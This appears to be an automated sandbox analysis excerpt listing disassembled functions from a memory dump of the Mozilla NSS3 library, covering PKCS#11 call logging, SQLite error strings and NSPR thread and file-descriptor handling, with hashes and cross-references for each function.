PR_LogPrint.NSS3(?,00000000), ref: 6CEB9F5F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEB9F98
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB9FAA
PR_LogPrint.NSS3(?,00000000), ref: 6CEB9FC0

Strings

hKey = 0x%x, xrefs: 6CEB9F82, 6CEB9F92
(CK_INVALID_HANDLE), xrefs: 6CEB9F3F, 6CEB9FA0
C_MessageEncryptInit, xrefs: 6CEB9F01
hSession = 0x%x, xrefs: 6CEB9F21, 6CEB9F31

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit
API String ID: 332880674-1139731676
Opcode ID: 285e4fe3200fe9b0b2e6dbca81893bc8f5acd84cec6334a9e43f551ef66d2015
Instruction ID: 12f25fda9e46ebd5e0584614f251aca874a3cc593a2b2ecc15ba8d4fa1185f43
Opcode Fuzzy Hash: 285e4fe3200fe9b0b2e6dbca81893bc8f5acd84cec6334a9e43f551ef66d2015
Instruction Fuzzy Hash: 6E313531A00209FBDB84DF54DE89BBE7776AB4A31CF144428F408B7B52DB359909CB91

Function 6CF54C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CF54CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CF54CFD
sqlite3_value_text16.NSS3(?), ref: 6CF54D44

Strings

bad parameter or other API misuse, xrefs: 6CF54D05
abort due to ROLLBACK, xrefs: 6CF54D27, 6CF54D33
out of memory, xrefs: 6CF54C78, 6CF54C9E
no more rows available, xrefs: 6CF54D2E
API call with %s database connection pointer, xrefs: 6CF54CF6
unknown error, xrefs: 6CF54D56
another row available, xrefs: 6CF54D20
invalid, xrefs: 6CF54CF1

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 170a493b1aeecb09335f3fee6bb111be72557a0d620d866bc7f6eac8906d9d0e
Instruction ID: 9d46b97f3a0bb891fd986e72e1f0701fa497f54bb14d2efa3100211ef52155f7
Opcode Fuzzy Hash: 170a493b1aeecb09335f3fee6bb111be72557a0d620d866bc7f6eac8906d9d0e
Instruction Fuzzy Hash: 06316C73E08911A7E7084629A8097E6BF727BE3318FD50129DB245BE58C721BC71C3E2

Function 6CEB2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CEB2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB2E33

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEB2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEB2E81

Strings

pPin = 0x%p, xrefs: 6CEB2E63
C_InitPIN, xrefs: 6CEB2DF1
(CK_INVALID_HANDLE), xrefs: 6CEB2E2C
hSession = 0x%x, xrefs: 6CEB2E0E, 6CEB2E1E
ulPinLen = %d, xrefs: 6CEB2E7C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: d10c6209ac1e4cde95c0b7409536569d4c6ae22ce0ecc3df7acc943c59e73c10
Instruction ID: 0f7ab7017ab3785a0c1520070e8d4435af5e43d1da5e9cdff8ed811056763ff0
Opcode Fuzzy Hash: d10c6209ac1e4cde95c0b7409536569d4c6ae22ce0ecc3df7acc943c59e73c10
Instruction Fuzzy Hash: F1312371A11109BFDB85DB55DE4CB6A7B71EF4A31CF144028F808A7B11EB319D09CBA2

Function 6CEB6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CEB6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB6F53

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CEB6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CEB6FA1

Strings

ulPartLen = %d, xrefs: 6CEB6F9C
(CK_INVALID_HANDLE), xrefs: 6CEB6F4C
pPart = 0x%p, xrefs: 6CEB6F83
hSession = 0x%x, xrefs: 6CEB6F2E, 6CEB6F3E
C_DigestUpdate, xrefs: 6CEB6F11

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 015cf8a33accb18336984266d61818c36542a67041e038d4aae3f668aa6fbe0b
Instruction ID: d57b0ab04a47425cf7bceda6fe871cdc17660218305b4d35c24464cb095c7236
Opcode Fuzzy Hash: 015cf8a33accb18336984266d61818c36542a67041e038d4aae3f668aa6fbe0b
Instruction Fuzzy Hash: 4B31F530A11104AFEB84DF64DE49B6A77B5EB4A31DF194428E908A7B11DF329D09CBA1

Function 6CEB7E00 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6CEB7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB7E63

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CEB7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CEB7EB1

Strings

ulPartLen = %d, xrefs: 6CEB7EAC
(CK_INVALID_HANDLE), xrefs: 6CEB7E5C
pPart = 0x%p, xrefs: 6CEB7E93
C_VerifyUpdate, xrefs: 6CEB7E21
hSession = 0x%x, xrefs: 6CEB7E3E, 6CEB7E4E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate
API String ID: 1003633598-2508624608
Opcode ID: b941a911a876e7526e652883a3cbe5da7e43bc76663862cc2b2af2d21aafaf3e
Instruction ID: ca45575e47c90e8254e7e254fff3b91abf0d62262c44a8cac9b7ed44de7cf787
Opcode Fuzzy Hash: b941a911a876e7526e652883a3cbe5da7e43bc76663862cc2b2af2d21aafaf3e
Instruction Fuzzy Hash: E731F534E01109FFDB809B64DE48BAA7BB1AF4A31CF154428F808A7B11DB359D09CBA1

Function 6CEB7F30 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6CEB7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB7F93

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEB7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CEB7FE1

Strings

C_VerifyFinal, xrefs: 6CEB7F51
ulSignatureLen = %d, xrefs: 6CEB7FDC
pSignature = 0x%p, xrefs: 6CEB7FC3
(CK_INVALID_HANDLE), xrefs: 6CEB7F8C
hSession = 0x%x, xrefs: 6CEB7F6E, 6CEB7F7E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal
API String ID: 1003633598-3315179127
Opcode ID: b91b0c5c8ca2aae900a5c233e48c73ee78f706b5bcfe9a0bb70258119aa65701
Instruction ID: e42e78d6be16deb21a1ffa2d7a2b97d938ffe1d786977b35fc31b73712dc9f83
Opcode Fuzzy Hash: b91b0c5c8ca2aae900a5c233e48c73ee78f706b5bcfe9a0bb70258119aa65701
Instruction Fuzzy Hash: 8A313730A01009FFEB84DB54DE49FAA7BB1EB4A31DF144425E808A7B11DB319D49CBB5

Function 6CF52D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CF52D9F

Part of subcall function 6CE0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CE6F9C9,?,6CE6F4DA,6CE6F9C9,?,?,6CE3369A), ref: 6CE0CA7A
Part of subcall function 6CE0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CE0CB26

sqlite3_exec.NSS3(?,?,6CF52F70,?,?), ref: 6CF52DF9
sqlite3_free.NSS3(00000000), ref: 6CF52E2C
sqlite3_free.NSS3(?), ref: 6CF52E3A
sqlite3_free.NSS3(?), ref: 6CF52E52
sqlite3_mprintf.NSS3(6CFBAAF9,?), ref: 6CF52E62
sqlite3_free.NSS3(?), ref: 6CF52E70
sqlite3_free.NSS3(?), ref: 6CF52E89
sqlite3_free.NSS3(?), ref: 6CF52EBB
sqlite3_free.NSS3(?), ref: 6CF52ECB
sqlite3_free.NSS3(00000000), ref: 6CF52F3E
sqlite3_free.NSS3(?), ref: 6CF52F4C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: be76ad09fd0f144738036b71b99f3caf06837b4043394bab7db215694cddf7b3
Instruction ID: 380120071586ba6334adfa0607b5a08b881cf2b329344a6a8eb64b93714528c7
Opcode Fuzzy Hash: be76ad09fd0f144738036b71b99f3caf06837b4043394bab7db215694cddf7b3
Instruction Fuzzy Hash: 556170B6F002058BEB00CF68D884BDEB7F1AF58348F654128DE55A7701E776E865CBA1

Function 6CE97C70 Relevance: 18.1, APIs: 12, Instructions: 141COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFE2120,Function_00097E60,00000000,?,?,?,?,6CF1067D,6CF11C60,00000000), ref: 6CE97C81

Part of subcall function 6CE04C70: TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
Part of subcall function 6CE04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
Part of subcall function 6CE04C70: PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9

TlsGetValue.KERNEL32 ref: 6CE97CA0
EnterCriticalSection.KERNEL32(?), ref: 6CE97CB4
PR_Unlock.NSS3 ref: 6CE97CCF

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

TlsGetValue.KERNEL32 ref: 6CE97D04
EnterCriticalSection.KERNEL32(?), ref: 6CE97D1B
realloc.MOZGLUE(-00000050), ref: 6CE97D82
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE97DF4
PR_Unlock.NSS3 ref: 6CE97E0E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalSectionValue$EnterUnlock$CallErrorLeaveOncerealloc
String ID:
API String ID: 2305085145-0
Opcode ID: c567f159ce9a09e59b466900f890c5767708631dab080eb327adf8b69376ad46
Instruction ID: 5918d60f3add2a796bb62d7073ce68c7553c4a7fa198cd3bd8286ec462c01b57
Opcode Fuzzy Hash: c567f159ce9a09e59b466900f890c5767708631dab080eb327adf8b69376ad46
Instruction Fuzzy Hash: 0051D271E14201ABEB809F28DC84B6577B5EB4B31CF374129ED0487722FB369999CA81

Function 6CE04C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04D97
PR_Lock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04DBA
PR_WaitCondVar.NSS3 ref: 6CE04DD4
PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04DEF

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: 68fb851ba96a7b2df8217ef84cfea27918401213f3123fff0575c0be9980a6d0
Instruction ID: a1fe9dbd8fca1bcf18cab3e70344daaa18d428ecf390d8df15486bbc2a7af0cb
Opcode Fuzzy Hash: 68fb851ba96a7b2df8217ef84cfea27918401213f3123fff0575c0be9980a6d0
Instruction Fuzzy Hash: C6418EB1E14B15CFDB80BF79D1842597BB4BF0A318F25866AD8889B711EB30D895CBC1

Function 6CF97CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF97CE0

Part of subcall function 6CF49BF0: TlsGetValue.KERNEL32(?,?,?,6CF90A75), ref: 6CF49C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF97D36
PR_Realloc.NSS3(?,00000080), ref: 6CF97D6D
PR_GetCurrentThread.NSS3 ref: 6CF97D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6CF97DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF97DD8
malloc.MOZGLUE(00000080), ref: 6CF97DF8
PR_GetCurrentThread.NSS3 ref: 6CF97E06

Strings

:%s:%d:0x%lx, xrefs: 6CF97DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF97DF0

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 09f480a22bf7305ebdb90fed6db81f0711b7472d7eaf7d1181dd5c5c63a4e4c2
Instruction ID: a2bf96345569ecc3a341352b4a10a50633090025b0378f482660038778e63b3d
Opcode Fuzzy Hash: 09f480a22bf7305ebdb90fed6db81f0711b7472d7eaf7d1181dd5c5c63a4e4c2
Instruction Fuzzy Hash: BC4195B16002059FEF04CF29CC90A6B37B6FF84318B25456EE9199BB61D731E941CBA1

Function 6CF97E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF97E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF97E46

Part of subcall function 6CE71240: TlsGetValue.KERNEL32(00000040,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71267
Part of subcall function 6CE71240: EnterCriticalSection.KERNEL32(?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE7127C
Part of subcall function 6CE71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71291
Part of subcall function 6CE71240: PR_Unlock.NSS3(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE712A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF97EAF
PR_ImportFile.NSS3(?), ref: 6CF97ECF
PR_GetCurrentThread.NSS3 ref: 6CF97ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF97F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF97F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF97F15

Strings

%d:0x%lx, xrefs: 6CF97EA9
NSPR_INHERIT_FDS, xrefs: 6CF97E41

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 0ba8fe9974494ee4a1ba52f18b335ea9b2cd288e045ee06c0be6427cb4eeafe7
Instruction ID: 3f5217eaee04df1f68cb7164cb966063a7d7b688988f6b63773ed22d2f502763
Opcode Fuzzy Hash: 0ba8fe9974494ee4a1ba52f18b335ea9b2cd288e045ee06c0be6427cb4eeafe7
Instruction Fuzzy Hash: 31310472E04219DBFF01AB69C841AEBB7B9FF45348F204567D806A7A11E7719D08C7D2

Function 6CEA4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA4E90
EnterCriticalSection.KERNEL32 ref: 6CEA4EA9
TlsGetValue.KERNEL32 ref: 6CEA4EC6
EnterCriticalSection.KERNEL32 ref: 6CEA4EDF
PL_HashTableLookup.NSS3 ref: 6CEA4EF8
PR_Unlock.NSS3 ref: 6CEA4F05
PR_Now.NSS3 ref: 6CEA4F13
PR_Unlock.NSS3 ref: 6CEA4F3A

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

Strings

bUl, xrefs: 6CEA4F3F
bUl, xrefs: 6CEA4E5C

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
